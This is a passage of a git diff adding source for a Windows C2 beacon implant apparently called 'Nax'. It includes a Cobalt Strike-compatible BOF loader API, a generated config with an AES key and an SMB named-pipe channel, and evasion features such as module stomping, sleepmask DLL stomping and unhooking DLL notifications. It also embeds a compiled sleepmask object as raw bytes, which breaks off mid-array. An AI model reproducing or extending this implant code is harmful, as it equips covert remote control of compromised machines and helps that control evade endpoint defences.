CHAR* buffer; + INT length; + INT size; +} datap; + +/* Format accumulator - heap-allocated via BeaconFormatAlloc */ +typedef struct { + CHAR* original; + CHAR* buffer; + INT length; + INT size; +} formatp; + +/* ========= [ Beacon API table ] ========= */ + +typedef struct { + UINT32 Hash; /* FNV1a-32 of function name (no __imp_ prefix) */ + PVOID Proc; /* pointer to our implementation */ +} NAX_BOF_API; + +#define NAX_BOF_API_COUNT 29 /* 15 original + 6 beacon.h + 2 adaptix.h + 4 Win32 proxy + 2 async BOF */ + +/* ========= [ Beacon API declarations ] ========= */ +/* Full contract: beacon.h (CS 4.x compatible). + * We implement the functions below; everything else in beacon.h is stubbed. */ + +/* Data parsing */ +FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size ); +FUNC CHAR* BeaconDataPtr( datap* parser, INT size ); +FUNC INT BeaconDataInt( datap* parser ); +FUNC SHORT BeaconDataShort( datap* parser ); +FUNC INT BeaconDataLength( datap* parser ); +FUNC CHAR* BeaconDataExtract( datap* parser, INT* size ); + +/* Output */ +FUNC VOID BeaconOutput( INT type, const CHAR* data, INT len ); +FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... ); + +/* Token / utility stubs */ +FUNC BOOL BeaconUseToken( HANDLE token ); +FUNC VOID BeaconRevertToken( VOID ); +FUNC BOOL BeaconIsAdmin( VOID ); +FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length ); +FUNC BOOL BeaconInformation( PVOID info ); +FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max ); + +/* Format buffer */ +FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz ); +FUNC VOID BeaconFormatReset( formatp* format ); +FUNC VOID BeaconFormatFree( formatp* format ); +FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len ); +FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... ); +FUNC CHAR* BeaconFormatToString( formatp* format, INT* size ); +FUNC VOID BeaconFormatInt( formatp* format, INT value ); + +/* Adaptix-extension BOF callbacks (adaptix.h compatible) */ +FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len ); +FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len ); + +/* Async BOF APIs */ +FUNC VOID BeaconWakeup( VOID ); +FUNC HANDLE BeaconGetStopJobEvent( VOID ); + +/* ========= [ loader entry point ] ========= */ + +FUNC INT NaxBofExecute( PNAX_INSTANCE Nax, + PBYTE bof, UINT32 bof_size, + PBYTE user_args, UINT32 user_args_size ); + +FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax, + PBYTE bof, UINT32 bof_size, + PCHAR sym_name ); + +FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax ); diff --git a/src_beacon/include/Cfg.h b/src_beacon/include/Cfg.h new file mode 100644 index 0000000..98d6f0f --- /dev/null +++ b/src_beacon/include/Cfg.h @@ -0,0 +1,26 @@ +/* beacon/include/Cfg.h + * Control Flow Guard types and constants. */ + +#pragma once +#include + +/* ProcessControlFlowGuardPolicy = 7 (PROCESS_MITIGATION_POLICY enum) */ +#define NAX_POLICY_CFG 7 + +typedef struct { + union { + DWORD Flags; + struct { + DWORD EnableControlFlowGuard : 1; + DWORD EnableExportSuppression : 1; + DWORD StrictMode : 1; + DWORD EnableXfg : 1; + DWORD EnableXfgAuditMode : 1; + DWORD ReservedFlags : 27; + }; + }; +} NAX_CFG_POLICY; + +#ifndef CFG_CALL_TARGET_VALID +#define CFG_CALL_TARGET_VALID 0x00000001 +#endif diff --git a/src_beacon/include/Common.h b/src_beacon/include/Common.h new file mode 100644 index 0000000..9a22fbf --- /dev/null +++ b/src_beacon/include/Common.h @@ -0,0 +1,15 @@ +#define MAX_FILE_SIZE 2048 +#define MAX_PATH_SIZE 512 + +/* NaxWriteWin32Err - write TEB->LastErrorValue as 4-byte LE into the result + * buffer so the server can display a meaningful Win32 error name. + * Must be called BEFORE any subsequent API that could overwrite LastError. */ +#define NaxWriteWin32Err( out_ptr, out_len_ptr ) do { \ + DWORD _e = NaxCurrentTeb()->LastErrorValue; \ + PBYTE _p = (PBYTE)(out_ptr); \ + _p[0] = (BYTE)( _e & 0xFF ); \ + _p[1] = (BYTE)( (_e >> 8) & 0xFF ); \ + _p[2] = (BYTE)( (_e >> 16) & 0xFF ); \ + _p[3] = (BYTE)( (_e >> 24) & 0xFF ); \ + *(out_len_ptr) = 4; \ +} while(0) diff --git a/src_beacon/include/Config.h b/src_beacon/include/Config.h new file mode 100644 index 0000000..7e0b60f --- /dev/null +++ b/src_beacon/include/Config.h @@ -0,0 +1,72 @@ +/* Config.h - generated by BuildPayload (SMB) + * + * Pipe: naxsmb + * AES Key: ea92316cf0f2aa1460625e97baa02d9c + * Sleep: 0 ms Jitter: 0% + */ + +#pragma once + +#define NAX_SLEEP_MS 0u +#define NAX_JITTER_PCT 0u +#define NAX_SID_LEN 17u +#define NAX_WATERMARK 0xA04A4178u +#define NAX_LISTENER_WM 0x69E1EB44u + +#define NAX_GATE_WAITFORSINGLEOBJECT +#define NAX_GATE_WAITFORMULTIPLEOBJECTS + +#define NAX_AES_KEY_WRITE( p ) do { \ + (p)[ 0]=0xEA; (p)[ 1]=0x92; (p)[ 2]=0x31; (p)[ 3]=0x6C; (p)[ 4]=0xF0; (p)[ 5]=0xF2; (p)[ 6]=0xAA; (p)[ 7]=0x14; \ + (p)[ 8]=0x60; (p)[ 9]=0x62; (p)[10]=0x5E; (p)[11]=0x97; (p)[12]=0xBA; (p)[13]=0xA0; (p)[14]=0x2D; (p)[15]=0x9C; \ +} while(0) + +#define NAX_C2_URL_WRITE( p ) do { \ + (p)[ 0]='n'; (p)[ 1]='a'; (p)[ 2]='x'; (p)[ 3]='s'; (p)[ 4]='m'; (p)[ 5]='b'; \ + (p)[ 6]='\0'; \ +} while(0) + + +/* ---- sleep obfuscation defaults ---- */ +#define NAX_DEFAULT_SLEEP_OBF 0 + +/* ---- BOF module stomping ---- */ +#define NAX_BOF_STOMP 1 + +#define NAX_BOF_SYNC_DLL_WRITE( p ) do { \ + (p)[ 0]=L'c'; (p)[ 1]=L'h'; (p)[ 2]=L'a'; (p)[ 3]=L'k'; \ + (p)[ 4]=L'r'; (p)[ 5]=L'a'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \ + (p)[ 8]=L'l'; (p)[ 9]=L'l'; \ + (p)[10]=L'\0'; \ +} while(0) + +#define NAX_BOF_ASYNC_COUNT 2 + +#define NAX_BOF_ASYNC_0_WRITE( p ) do { \ + (p)[ 0]=L'j'; (p)[ 1]=L's'; (p)[ 2]=L'c'; (p)[ 3]=L'r'; \ + (p)[ 4]=L'i'; (p)[ 5]=L'p'; (p)[ 6]=L't'; (p)[ 7]=L'9'; \ + (p)[ 8]=L'.'; (p)[ 9]=L'd'; (p)[10]=L'l'; (p)[11]=L'l'; \ + (p)[12]=L'\0'; \ +} while(0) + +#define NAX_BOF_ASYNC_1_WRITE( p ) do { \ + (p)[ 0]=L'd'; (p)[ 1]=L'3'; (p)[ 2]=L'd'; (p)[ 3]=L'1'; \ + (p)[ 4]=L'1'; (p)[ 5]=L'.'; (p)[ 6]=L'd'; (p)[ 7]=L'l'; \ + (p)[ 8]=L'l'; \ + (p)[ 9]=L'\0'; \ +} while(0) + +/* ---- sleepmask stomp DLL ---- */ +#define NAX_SM_STOMP_DLL_WRITE( p ) do { \ + (p)[ 0]=L'm'; (p)[ 1]=L's'; (p)[ 2]=L'x'; (p)[ 3]=L'm'; \ + (p)[ 4]=L'l'; (p)[ 5]=L'6'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \ + (p)[ 8]=L'l'; (p)[ 9]=L'l'; \ + (p)[10]=L'\0'; \ +} while(0) + +/* ---- DLL notification unhooking ---- */ +#define NAX_UNHOOK_DLL_NOTIFY 1 + +/* ---- embedded sleepmask BOF ---- */ +#define NAX_SLEEPMASK_LEN 3723u +#include "Config_sleepmask.h" diff --git a/src_beacon/include/Config_sleepmask.h b/src_beacon/include/Config_sleepmask.h new file mode 100644 index 0000000..444b846 --- /dev/null +++ b/src_beacon/include/Config_sleepmask.h @@ -0,0 +1,471 @@ +/* Config_sleepmask.h - auto-generated sleepmask BOF embed + * 3723 bytes, included by Config.h */ + +#define NAX_SLEEPMASK_WRITE( p ) do { \ + (p)[ 0]=0x64; (p)[ 1]=0x86; (p)[ 2]=0x07; (p)[ 3]=0x00; (p)[ 4]=0x00; (p)[ 5]=0x00; (p)[ 6]=0x00; (p)[ 7]=0x00; \ + (p)[ 8]=0xF4; (p)[ 9]=0x0A; (p)[ 10]=0x00; (p)[ 11]=0x00; (p)[ 12]=0x22; (p)[ 13]=0x00; (p)[ 14]=0x00; (p)[ 15]=0x00; \ + (p)[ 16]=0x00; (p)[ 17]=0x00; (p)[ 18]=0x04; (p)[ 19]=0x00; (p)[ 20]=0x2E; (p)[ 21]=0x74; (p)[ 22]=0x65; (p)[ 23]=0x78; \ + (p)[ 24]=0x74; (p)[ 25]=0x00; (p)[ 26]=0x00; (p)[ 27]=0x00; (p)[ 28]=0x00; (p)[ 29]=0x00; (p)[ 30]=0x00; (p)[ 31]=0x00; \ + (p)[ 32]=0x00; (p)[ 33]=0x00; (p)[ 34]=0x00; (p)[ 35]=0x00; (p)[ 36]=0x20; (p)[ 37]=0x07; (p)[ 38]=0x00; (p)[ 39]=0x00; \ + (p)[ 40]=0x2C; (p)[ 41]=0x01; (p)[ 42]=0x00; (p)[ 43]=0x00; (p)[ 44]=0xB4; (p)[ 45]=0x09; (p)[ 46]=0x00; (p)[ 47]=0x00; \ + (p)[ 48]=0x00; (p)[ 49]=0x00; (p)[ 50]=0x00; (p)[ 51]=0x00; (p)[ 52]=0x0E; (p)[ 53]=0x00; (p)[ 54]=0x00; (p)[ 55]=0x00; \ + (p)[ 56]=0x20; (p)[ 57]=0x00; (p)[ 58]=0x50; (p)[ 59]=0x60; (p)[ 60]=0x2E; (p)[ 61]=0x64; (p)[ 62]=0x61; (p)[ 63]=0x74; \ + (p)[ 64]=0x61; (p)[ 65]=0x00; (p)[ 66]=0x00; (p)[ 67]=0x00; (p)[ 68]=0x00; (p)[ 69]=0x00; (p)[ 70]=0x00; (p)[ 71]=0x00; \ + (p)[ 72]=0x00; (p)[ 73]=0x00; (p)[ 74]=0x00; (p)[ 75]=0x00; (p)[ 76]=0x00; (p)[ 77]=0x00; (p)[ 78]=0x00; (p)[ 79]=0x00; \ + (p)[ 80]=0x00; (p)[ 81]=0x00; (p)[ 82]=0x00; (p)[ 83]=0x00; (p)[ 84]=0x00; (p)[ 85]=0x00; (p)[ 86]=0x00; (p)[ 87]=0x00; \ + (p)[ 88]=0x00; (p)[ 89]=0x00; (p)[ 90]=0x00; (p)[ 91]=0x00; (p)[ 92]=0x00; (p)[ 93]=0x00; (p)[ 94]=0x00; (p)[ 95]=0x00; \ + (p)[ 96]=0x40; (p)[ 97]=0x00; (p)[ 98]=0x50; (p)[ 99]=0xC0; (p)[ 100]=0x2E; (p)[ 101]=0x62; (p)[ 102]=0x73; (p)[ 103]=0x73; \ + (p)[ 104]=0x00; (p)[ 105]=0x00; (p)[ 106]=0x00; (p)[ 107]=0x00; (p)[ 108]=0x00; (p)[ 109]=0x00; (p)[ 110]=0x00; (p)[ 111]=0x00; \ + (p)[ 112]=0x00; (p)[ 113]=0x00; (p)[ 114]=0x00; (p)[ 115]=0x00; (p)[ 116]=0x00; (p)[ 117]=0x00; (p)[ 118]=0x00; (p)[ 119]=0x00; \ + (p)[ 120]=0x00; (p)[ 121]=0x00; (p)[ 122]=0x00; (p)[ 123]=0x00; (p)[ 124]=0x00; (p)[ 125]=0x00; (p)[ 126]=0x00; (p)[ 127]=0x00; \ + (p)[ 128]=0x00; (p)[ 129]=0x00; (p)[ 130]=0x00; (p)[ 131]=0x00; (p)[ 132]=0x00; (p)[ 133]=0x00; (p)[ 134]=0x00; (p)[ 135]=0x00; \ + (p)[ 136]=0x80; (p)[ 137]=0x00; (p)[ 138]=0x50; (p)[ 139]=0xC0; (p)[ 140]=0x2E; (p)[ 141]=0x72; (p)[ 142]=0x64; (p)[ 143]=0x61; \ + (p)[ 144]=0x74; (p)[ 145]=0x61; (p)[ 146]=0x00; (p)[ 147]=0x00; (p)[ 148]=0x00; (p)[ 149]=0x00; (p)[ 150]=0x00; (p)[ 151]=0x00; \ + (p)[ 152]=0x00; (p)[ 153]=0x00; (p)[ 154]=0x00; (p)[ 155]=0x00; (p)[ 156]=0xB0; (p)[ 157]=0x00; (p)[ 158]=0x00; (p)[ 159]=0x00; \ + (p)[ 160]=0x4C; (p)[ 161]=0x08; (p)[ 162]=0x00; (p)[ 163]=0x00; (p)[ 164]=0x00; (p)[ 165]=0x00; (p)[ 166]=0x00; (p)[ 167]=0x00; \ + (p)[ 168]=0x00; (p)[ 169]=0x00; (p)[ 170]=0x00; (p)[ 171]=0x00; (p)[ 172]=0x00; (p)[ 173]=0x00; (p)[ 174]=0x00; (p)[ 175]=0x00; \ + (p)[ 176]=0x40; (p)[ 177]=0x00; (p)[ 178]=0x50; (p)[ 179]=0x40; (p)[ 180]=0x2E; (p)[ 181]=0x78; (p)[ 182]=0x64; (p)[ 183]=0x61; \ + (p)[ 184]=0x74; (p)[ 185]=0x61; (p)[ 186]=0x00; (p)[ 187]=0x00; (p)[ 188]=0x00; (p)[ 189]=0x00; (p)[ 190]=0x00; (p)[ 191]=0x00; \ + (p)[ 192]=0x00; (p)[ 193]=0x00; (p)[ 194]=0x00; (p)[ 195]=0x00; (p)[ 196]=0x50; (p)[ 197]=0x00; (p)[ 198]=0x00; (p)[ 199]=0x00; \ + (p)[ 200]=0xFC; (p)[ 201]=0x08; (p)[ 202]=0x00; (p)[ 203]=0x00; (p)[ 204]=0x00; (p)[ 205]=0x00; (p)[ 206]=0x00; (p)[ 207]=0x00; \ + (p)[ 208]=0x00; (p)[ 209]=0x00; (p)[ 210]=0x00; (p)[ 211]=0x00; (p)[ 212]=0x00; (p)[ 213]=0x00; (p)[ 214]=0x00; (p)[ 215]=0x00; \ + (p)[ 216]=0x40; (p)[ 217]=0x00; (p)[ 218]=0x30; (p)[ 219]=0x40; (p)[ 220]=0x2E; (p)[ 221]=0x70; (p)[ 222]=0x64; (p)[ 223]=0x61; \ + (p)[ 224]=0x74; (p)[ 225]=0x61; (p)[ 226]=0x00; (p)[ 227]=0x00; (p)[ 228]=0x00; (p)[ 229]=0x00; (p)[ 230]=0x00; (p)[ 231]=0x00; \ + (p)[ 232]=0x00; (p)[ 233]=0x00; (p)[ 234]=0x00; (p)[ 235]=0x00; (p)[ 236]=0x48; (p)[ 237]=0x00; (p)[ 238]=0x00; (p)[ 239]=0x00; \ + (p)[ 240]=0x4C; (p)[ 241]=0x09; (p)[ 242]=0x00; (p)[ 243]=0x00; (p)[ 244]=0x40; (p)[ 245]=0x0A; (p)[ 246]=0x00; (p)[ 247]=0x00; \ + (p)[ 248]=0x00; (p)[ 249]=0x00; (p)[ 250]=0x00; (p)[ 251]=0x00; (p)[ 252]=0x12; (p)[ 253]=0x00; (p)[ 254]=0x00; (p)[ 255]=0x00; \ + (p)[ 256]=0x40; (p)[ 257]=0x00; (p)[ 258]=0x30; (p)[ 259]=0x40; (p)[ 260]=0x2F; (p)[ 261]=0x34; (p)[ 262]=0x00; (p)[ 263]=0x00; \ + (p)[ 264]=0x00; (p)[ 265]=0x00; (p)[ 266]=0x00; (p)[ 267]=0x00; (p)[ 268]=0x00; (p)[ 269]=0x00; (p)[ 270]=0x00; (p)[ 271]=0x00; \ + (p)[ 272]=0x00; (p)[ 273]=0x00; (p)[ 274]=0x00; (p)[ 275]=0x00; (p)[ 276]=0x20; (p)[ 277]=0x00; (p)[ 278]=0x00; (p)[ 279]=0x00; \ + (p)[ 280]=0x94; (p)[ 281]=0x09; (p)[ 282]=0x00; (p)[ 283]=0x00; (p)[ 284]=0x00; (p)[ 285]=0x00; (p)[ 286]=0x00; (p)[ 287]=0x00; \ + (p)[ 288]=0x00; (p)[ 289]=0x00; (p)[ 290]=0x00; (p)[ 291]=0x00; (p)[ 292]=0x00; (p)[ 293]=0x00; (p)[ 294]=0x00; (p)[ 295]=0x00; \ + (p)[ 296]=0x40; (p)[ 297]=0x00; (p)[ 298]=0x50; (p)[ 299]=0x40; (p)[ 300]=0x55; (p)[ 301]=0x48; (p)[ 302]=0x89; (p)[ 303]=0xE5; \ + (p)[ 304]=0x48; (p)[ 305]=0x83; (p)[ 306]=0xEC; (p)[ 307]=0x50; (p)[ 308]=0x48; (p)[ 309]=0x89; (p)[ 310]=0x4D; (p)[ 311]=0x10; \ + (p)[ 312]=0x48; (p)[ 313]=0x8B; (p)[ 314]=0x45; (p)[ 315]=0x10; (p)[ 316]=0x48; (p)[ 317]=0x8B; (p)[ 318]=0x40; (p)[ 319]=0x10; \ + (p)[ 320]=0x89; (p)[ 321]=0x45; (p)[ 322]=0xFC; (p)[ 323]=0x8B; (p)[ 324]=0x45; (p)[ 325]=0xFC; (p)[ 326]=0x48; (p)[ 327]=0x8D; \ + (p)[ 328]=0x0D; (p)[ 329]=0x00; (p)[ 330]=0x00; (p)[ 331]=0x00; (p)[ 332]=0x00; (p)[ 333]=0x89; (p)[ 334]=0xC2; (p)[ 335]=0x48; \ + (p)[ 336]=0x8B; (p)[ 337]=0x05; (p)[ 338]=0x00; (p)[ 339]=0x00; (p)[ 340]=0x00; (p)[ 341]=0x00; (p)[ 342]=0xFF; (p)[ 343]=0xD0; \ + (p)[ 344]=0x48; (p)[ 345]=0xC7; (p)[ 346]=0x45; (p)[ 347]=0xF0; (p)[ 348]=0x00; (p)[ 349]=0x00; (p)[ 350]=0x00; (p)[ 351]=0x00; \ + (p)[ 352]=0x48; (p)[ 353]=0x8D; (p)[ 354]=0x45; (p)[ 355]=0xF0; (p)[ 356]=0xC7; (p)[ 357]=0x44; (p)[ 358]=0x24; (p)[ 359]=0x20; \ + (p)[ 360]=0x00; (p)[ 361]=0x00; (p)[ 362]=0x00; (p)[ 363]=0x00; (p)[ 364]=0x41; (p)[ 365]=0xB9; (p)[ 366]=0x01; (p)[ 367]=0x00; \ + (p)[ 368]=0x00; (p)[ 369]=0x00; (p)[ 370]=0x41; (p)[ 371]=0xB8; (p)[ 372]=0x00; (p)[ 373]=0x00; (p)[ 374]=0x00; (p)[ 375]=0x00; \ + (p)[ 376]=0xBA; (p)[ 377]=0x03; (p)[ 378]=0x00; (p)[ 379]=0x1F; (p)[ 380]=0x00; (p)[ 381]=0x48; (p)[ 382]=0x89; (p)[ 383]=0xC1; \ + (p)[ 384]=0x48; (p)[ 385]=0x8B; (p)[ 386]=0x05; (p)[ 387]=0x00; (p)[ 388]=0x00; (p)[ 389]=0x00; (p)[ 390]=0x00; (p)[ 391]=0xFF; \ + (p)[ 392]=0xD0; (p)[ 393]=0x48; (p)[ 394]=0x8B; (p)[ 395]=0x45; (p)[ 396]=0xF0; (p)[ 397]=0x48; (p)[ 398]=0x85; (p)[ 399]=0xC0; \ + (p)[ 400]=0x74; (p)[ 401]=0x3A; (p)[ 402]=0x8B; (p)[ 403]=0x45; (p)[ 404]=0xFC; (p)[ 405]=0x48; (p)[ 406]=0x69; (p)[ 407]=0xC0; \ + (p)[ 408]=0xF0; (p)[ 409]=0xD8; (p)[ 410]=0xFF; (p)[ 411]=0xFF; (p)[ 412]=0x48; (p)[ 413]=0x89; (p)[ 414]=0x45; (p)[ 415]=0xE8; \ + (p)[ 416]=0x48; (p)[ 417]=0x8B; (p)[ 418]=0x45; (p)[ 419]=0xF0; (p)[ 420]=0x48; (p)[ 421]=0x8D; (p)[ 422]=0x55; (p)[ 423]=0xE8; \ + (p)[ 424]=0x49; (p)[ 425]=0x89; (p)[ 426]=0xD0; (p)[ 427]=0xBA; (p)[ 428]=0x00; (p)[ 429]=0x00; (p)[ 430]=0x00; (p)[ 431]=0x00; \ + (p)[ 432]=0x48; (p)[ 433]=0x89; (p)[ 434]=0xC1; (p)[ 435]=0x48; (p)[ 436]=0x8B; (p)[ 437]=0x05; (p)[ 438]=0x00; (p)[ 439]=0x00; \ + (p)[ 440]=0x00; (p)[ 441]=0x00; (p)[ 442]=0xFF; (p)[ 443]=0xD0; (p)[ 444]=0x48; (p)[ 445]=0x8B; (p)[ 446]=0x45; (p)[ 447]=0xF0; \ + (p)[ 448]=0x48; (p)[ 449]=0x89; (p)[ 450]=0xC1; (p)[ 451]=0x48; (p)[ 452]=0x8B; (p)[ 453]=0x05; (p)[ 454]=0x00; (p)[ 455]=0x00; \ + (p)[ 456]=0x00; (p)[ 457]=0x00; (p)[ 458]=0xFF; (p)[ 459]=0xD0; (p)[ 460]=0x90; (p)[ 461]=0x48; (p)[ 462]=0x83; (p)[ 463]=0xC4; \ + (p)[ 464]=0x50; (p)[ 465]=0x5D; (p)[ 466]=0xC3; (p)[ 467]=0x55; (p)[ 468]=0x48; (p)[ 469]=0x89; (p)[ 470]=0xE5; (p)[ 471]=0x48; \ + (p)[ 472]=0x83; (p)[ 473]=0xEC; (p)[ 474]=0x40; (p)[ 475]=0x48; (p)[ 476]=0x89; (p)[ 477]=0x4D; (p)[ 478]=0x10; (p)[ 479]=0x48; \ + (p)[ 480]=0x8B; (p)[ 481]=0x45; (p)[ 482]=0x10; (p)[ 483]=0x48; (p)[ 484]=0x8B; (p)[ 485]=0x40; (p)[ 486]=0x10; (p)[ 487]=0x48; \ + (p)[ 488]=0x89; (p)[ 489]=0x45; (p)[ 490]=0xF8; (p)[ 491]=0x48; (p)[ 492]=0x8B; (p)[ 493]=0x45; (p)[ 494]=0x10; (p)[ 495]=0x48; \ + (p)[ 496]=0x8B; (p)[ 497]=0x40; (p)[ 498]=0x18; (p)[ 499]=0x89; (p)[ 500]=0x45; (p)[ 501]=0xF4; (p)[ 502]=0x8B; (p)[ 503]=0x55; \ + (p)[ 504]=0xF4; (p)[ 505]=0x48; (p)[ 506]=0x8B; (p)[ 507]=0x45; (p)[ 508]=0xF8; (p)[ 509]=0x48; (p)[ 510]=0x8D; (p)[ 511]=0x0D; \ + (p)[ 512]=0x20; (p)[ 513]=0x00; (p)[ 514]=0x00; (p)[ 515]=0x00; (p)[ 516]=0x41; (p)[ 517]=0x89; (p)[ 518]=0xD0; (p)[ 519]=0x48; \ + (p)[ 520]=0x89; (p)[ 521]=0xC2; (p)[ 522]=0x48; (p)[ 523]=0x8B; (p)[ 524]=0x05; (p)[ 525]=0x00; (p)[ 526]=0x00; (p)[ 527]=0x00; \ + (p)[ 528]=0x00; (p)[ 529]=0xFF; (p)[ 530]=0xD0; (p)[ 531]=0x8B; (p)[ 532]=0x45; (p)[ 533]=0xF4; (p)[ 534]=0x48; (p)[ 535]=0x69; \ + (p)[ 536]=0xC0; (p)[ 537]=0xF0; (p)[ 538]=0xD8; (p)[ 539]=0xFF; (p)[ 540]=0xFF; (p)[ 541]=0x48; (p)[ 542]=0x89; (p)[ 543]=0x45; \ + (p)[ 544]=0xE8; (p)[ 545]=0x48; (p)[ 546]=0x8D; (p)[ 547]=0x55; (p)[ 548]=0xE8; (p)[ 549]=0x48; (p)[ 550]=0x8B; (p)[ 551]=0x45; \ + (p)[ 552]=0xF8; (p)[ 553]=0x49; (p)[ 554]=0x89; (p)[ 555]=0xD0; (p)[ 556]=0xBA; (p)[ 557]=0x00; (p)[ 558]=0x00; (p)[ 559]=0x00; \ + (p)[ 560]=0x00; (p)[ 561]=0x48; (p)[ 562]=0x89; (p)[ 563]=0xC1; (p)[ 564]=0x48; (p)[ 565]=0x8B; (p)[ 566]=0x05; (p)[ 567]=0x00; \ + (p)[ 568]=0x00; (p)[ 569]=0x00; (p)[ 570]=0x00; (p)[ 571]=0xFF; (p)[ 572]=0xD0; (p)[ 573]=0x89; (p)[ 574]=0x45; (p)[ 575]=0xF0; \ + (p)[ 576]=0x8B; (p)[ 577]=0x45; (p)[ 578]=0xF0; (p)[ 579]=0x48; (p)[ 580]=0x63; (p)[ 581]=0xD0; (p)[ 582]=0x48; (p)[ 583]=0x8B; \ + (p)[ 584]=0x45; (p)[ 585]=0x10; (p)[ 586]=0x48; (p)[ 587]=0x89; (p)[ 588]=0x50; (p)[ 589]=0x60; (p)[ 590]=0x90; (p)[ 591]=0x48; \ + (p)[ 592]=0x83; (p)[ 593]=0xC4; (p)[ 594]=0x40; (p)[ 595]=0x5D; (p)[ 596]=0xC3; (p)[ 597]=0x55; (p)[ 598]=0x48; (p)[ 599]=0x89; \ + (p)[ 600]=0xE5; (p)[ 601]=0x48; (p)[ 602]=0x83; (p)[ 603]=0xEC; (p)[ 604]=0x30; (p)[ 605]=0x48; (p)[ 606]=0x89; (p)[ 607]=0x4D; \ + (p)[ 608]=0x10; (p)[ 609]=0x48; (p)[ 610]=0x8B; (p)[ 611]=0x45; (p)[ 612]=0x10; (p)[ 613]=0x48; (p)[ 614]=0x8B; (p)[ 615]=0x40; \ + (p)[ 616]=0x28; (p)[ 617]=0x89; (p)[ 618]=0x45; (p)[ 619]=0xFC; (p)[ 620]=0x48; (p)[ 621]=0x8B; (p)[ 622]=0x45; (p)[ 623]=0x10; \ + (p)[ 624]=0x48; (p)[ 625]=0x8B; (p)[ 626]=0x40; (p)[ 627]=0x20; (p)[ 628]=0x41; (p)[ 629]=0x89; (p)[ 630]=0xC0; (p)[ 631]=0x48; \ + (p)[ 632]=0x8B; (p)[ 633]=0x45; (p)[ 634]=0x10; (p)[ 635]=0x48; (p)[ 636]=0x8B; (p)[ 637]=0x40; (p)[ 638]=0x10; (p)[ 639]=0x89; \ + (p)[ 640]=0xC1; (p)[ 641]=0x8B; (p)[ 642]=0x55; (p)[ 643]=0xFC; (p)[ 644]=0x48; (p)[ 645]=0x8D; (p)[ 646]=0x05; (p)[ 647]=0x48; \ + (p)[ 648]=0x00; (p)[ 649]=0x00; (p)[ 650]=0x00; (p)[ 651]=0x41; (p)[ 652]=0x89; (p)[ 653]=0xD1; (p)[ 654]=0x89; (p)[ 655]=0xCA; \ + (p)[ 656]=0x48; (p)[ 657]=0x89; (p)[ 658]=0xC1; (p)[ 659]=0x48; (p)[ 660]=0x8B; (p)[ 661]=0x05; (p)[ 662]=0x00; (p)[ 663]=0x00; \ + (p)[ 664]=0x00; (p)[ 665]=0x00; (p)[ 666]=0xFF; (p)[ 667]=0xD0; (p)[ 668]=0x48; (p)[ 669]=0x8B; (p)[ 670]=0x45; (p)[ 671]=0x10; \ + (p)[ 672]=0x48; (p)[ 673]=0x8B; (p)[ 674]=0x40; (p)[ 675]=0x20; (p)[ 676]=0x41; (p)[ 677]=0x89; (p)[ 678]=0xC0; (p)[ 679]=0x48; \ + (p)[ 680]=0x8B; (p)[ 681]=0x45; (p)[ 682]=0x10; (p)[ 683]=0x48; (p)[ 684]=0x8B; (p)[ 685]=0x40; (p)[ 686]=0x18; (p)[ 687]=0x48; \ + (p)[ 688]=0x89; (p)[ 689]=0xC2; (p)[ 690]=0x48; (p)[ 691]=0x8B; (p)[ 692]=0x45; (p)[ 693]=0x10; (p)[ 694]=0x48; (p)[ 695]=0x8B; \ + (p)[ 696]=0x40; (p)[ 697]=0x10; (p)[ 698]=0x89; (p)[ 699]=0xC1; (p)[ 700]=0x8B; (p)[ 701]=0x45; (p)[ 702]=0xFC; (p)[ 703]=0x41; \ + (p)[ 704]=0x89; (p)[ 705]=0xC1; (p)[ 706]=0x48; (p)[ 707]=0x8B; (p)[ 708]=0x05; (p)[ 709]=0x00; (p)[ 710]=0x00; (p)[ 711]=0x00; \ + (p)[ 712]=0x00; (p)[ 713]=0xFF; (p)[ 714]=0xD0; (p)[ 715]=0x89; (p)[ 716]=0x45; (p)[ 717]=0xF8; (p)[ 718]=0x8B; (p)[ 719]=0x55; \ + (p)[ 720]=0xF8; (p)[ 721]=0x48; (p)[ 722]=0x8B; (p)[ 723]=0x45; (p)[ 724]=0x10; (p)[ 725]=0x48; (p)[ 726]=0x89; (p)[ 727]=0x50; \ + (p)[ 728]=0x60; (p)[ 729]=0x90; (p)[ 730]=0x48; (p)[ 731]=0x83; (p)[ 732]=0xC4; (p)[ 733]=0x30; (p)[ 734]=0x5D; (p)[ 735]=0xC3; \ + (p)[ 736]=0x55; (p)[ 737]=0x48; (p)[ 738]=0x89; (p)[ 739]=0xE5; (p)[ 740]=0x48; (p)[ 741]=0x83; (p)[ 742]=0xEC; (p)[ 743]=0x50; \ + (p)[ 744]=0x48; (p)[ 745]=0x89; (p)[ 746]=0x4D; (p)[ 747]=0x10; (p)[ 748]=0x48; (p)[ 749]=0x8B; (p)[ 750]=0x45; (p)[ 751]=0x10; \ + (p)[ 752]=0x48; (p)[ 753]=0x8B; (p)[ 754]=0x40; (p)[ 755]=0x10; (p)[ 756]=0x48; (p)[ 757]=0x89; (p)[ 758]=0x45; (p)[ 759]=0xF8; \ + (p)[ 760]=0x48; (p)[ 761]=0x8B; (p)[ 762]=0x45; (p)[ 763]=0x10; (p)[ 764]=0x48; (p)[ 765]=0x8B; (p)[ 766]=0x40; (p)[ 767]=0x18; \ + (p)[ 768]=0x48; (p)[ 769]=0x89; (p)[ 770]=0x45; (p)[ 771]=0xF0; (p)[ 772]=0x48; (p)[ 773]=0x8B; (p)[ 774]=0x45; (p)[ 775]=0x10; \ + (p)[ 776]=0x48; (p)[ 777]=0x8B; (p)[ 778]=0x40; (p)[ 779]=0x20; (p)[ 780]=0x89; (p)[ 781]=0x45; (p)[ 782]=0xEC; (p)[ 783]=0x48; \ + (p)[ 784]=0x8B; (p)[ 785]=0x45; (p)[ 786]=0x10; (p)[ 787]=0x48; (p)[ 788]=0x8B; (p)[ 789]=0x40; (p)[ 790]=0x28; (p)[ 791]=0x48; \ + (p)[ 792]=0x89; (p)[ 